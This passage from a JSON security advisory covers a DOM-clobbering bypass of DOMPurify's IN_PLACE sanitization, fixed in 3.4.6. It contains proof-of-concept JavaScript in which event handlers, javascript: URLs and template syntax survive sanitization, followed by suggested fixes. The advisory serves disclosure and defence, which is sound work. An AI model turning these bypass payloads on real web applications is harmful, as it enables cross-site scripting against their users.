'alert(3)');\nroot.setAttribute('autofocus', '');\nroot.setAttribute('formaction', 'javascript:alert(4)');\nroot.setAttribute('id', 'cookie');           // DOM-clobbering primitive\nroot.innerHTML += '<input name=\"nodeName\">';\nDOMPurify.sanitize(root, { IN_PLACE: true });\nconsole.log(root.outerHTML);\n// <form action=\"javascript:alert(1)\" target=\"_top\" onclick=\"alert(2)\"\n//       onmouseover=\"alert(3)\" autofocus=\"\" formaction=\"javascript:alert(4)\"\n//       id=\"cookie\"><input></form>\n```\n\n**(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky.** Chromium's `HTMLFormElement` named-property cache appears to retain the named child reference even after the child's `name` attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's `name=\"nodeName\"` attribute is correctly stripped (the output shows `<input>` with no attributes), yet `typeof form.nodeName === 'object'` is still true and the input element is still returned. Calling `DOMPurify.sanitize(sameNode, { IN_PLACE: true })` a second time hits the same `_isClobbered` → `_forceRemove` → `_sanitizeAttributes` early-return path. The only effective recovery is serialize-then-reparse:\n\n```js\nconst root = parseAttackerHtml();                                     // form with input name=\"nodeName\" child\nDOMPurify.sanitize(root, { IN_PLACE: true });                         // bypass: attrs survive\nDOMPurify.sanitize(root, { IN_PLACE: true });                         // STILL bypassed: attrs survive\nconst recovered = (() => {\n  const t = document.createElement('template');\n  t.innerHTML = root.outerHTML;                                       // forces a fresh parse\n  const r = t.content.firstElementChild;\n  DOMPurify.sanitize(r, { IN_PLACE: true });\n  return r;\n})();\n// recovered.outerHTML === '<form><input></form>'  ← finally clean\n```\n\nA \"belt-and-suspenders\" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.\n\n**(d) SAFE_FOR_TEMPLATES bypass for the root's attributes.** When the caller sets `SAFE_FOR_TEMPLATES: true` to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving `{{…}}` / `<%…%>` / `${…}` syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same `_sanitizeAttributes` pass that early-returns on clobbered roots (`:1572-1576`). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.\n\nVerified — same PoC structure, with `SAFE_FOR_TEMPLATES: true`:\n\n```js\nconst root = document.createElement('form');\nroot.setAttribute('title', '{{evil}}');\nroot.setAttribute('onmouseover', 'window.__x=1');\nconst c = document.createElement('input');\nc.setAttribute('name', 'nodeName');\nroot.appendChild(c);\n\nDOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\nconsole.log(root.outerHTML);\n// <form title=\"{{evil}}\" onmouseover=\"window.__x=1\"><input></form>\n//        ^^^^^^^^^^^^^^^^ template syntax survives\n```\n\nThis compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).\n\n(Text-node content inside the form is still scrubbed correctly — `_scrubTemplateExpressions` at `:1868-1870` walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)\n\n### Indirect / second-order\n\n- **DOM-based template systems / editors** that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).\n- **Email/HTML preview libraries** that pre-parse received HTML before sanitization for performance reasons.\n- **Frameworks that hand DOMPurify a node tree** rather than a string — including, indirectly, any code path that does `el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true })`. The outer `el` is fine (it's not the form), but if the *first child* of `el` is taken as the sanitization root in a different code path, the bypass triggers.\n\n### Why current `main` is also vulnerable\n\nCommit `89da34e` (\"fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM\") hardens `_sanitizeAttachedShadowRoots` via three new cached prototype getters (`getShadowRoot`, `getNodeName`, `getNodeType`) and an `_isClobbered` extension that checks `element.childNodes.length`. The fix is correct for its scope — shadow-root traversal — but does not change `_forceRemove`'s parent-less-node behavior or `_sanitizeAttributes`'s clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD `89da34e` and still succeeds.\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. **Make `_forceRemove` honest about failure**: return whether the node was actually detached, and have the iterator call site honor that.\n\n   ```ts\n   const _forceRemove = function (node: Node): boolean {\n     arrayPush(DOMPurify.removed, { element: node });\n     try {\n       getParentNode(node).removeChild(node);\n       return true;\n     } catch (_) {\n       try { remove(node); } catch (_) {}\n       return node.parentNode === null && /* but still attached to itself */ false;\n     }\n   };\n   ```\n   Then at `:1855`, if `_sanitizeElements` returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a \"sanitized\" handle to an unsanitized tree.)\n\n2. **Strip attributes inside `_sanitizeAttributes` for clobbered roots**: when `_isClobbered(currentNode)` is true at `:1490`, instead of early-returning, iterate `currentNode.attributes` (using the cached `getAttributes` if you add one) and remove each via `removeAttribute`. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root.\n\n3. **Refuse IN_PLACE on parent-less clobbered roots**: at the top of the iterator, check that the root either has a parent OR is not `_isClobbered`. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting \"sanitized = empty/safe.\"\n\n### Note on callable elements\n\nIn Chromium and WebKit, `HTMLEmbedElement`, `HTMLAppletElement`, `HTMLIFrameElement`, and `HTMLScriptElement` have `typeof === 'function'` because they expose plugin/iframe `[[Call]]` traps at the WebIDL level. A `name=\"setAttribute\"` *child* of one of these tags spoofs the `setAttribute typeof === 'function'` check — but only matters for the *attribute re-set* path at `:1619`, not the bypass demonstrated here (which uses `nodeName` and friends). The callable-element vector is worth checking separately as a potential `SAFE_FOR_TEMPLATES`-bypass primitive; the present report does not depend on it.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "dompurify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.4.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.4.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cure53/DOMPurify/security/advisories/GHSA-r47g-fvhr-h676"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cure53/DOMPurify"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321", "CWE-693", "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-15T19:53:05Z",
    "nvd_published_at" : null
  }
}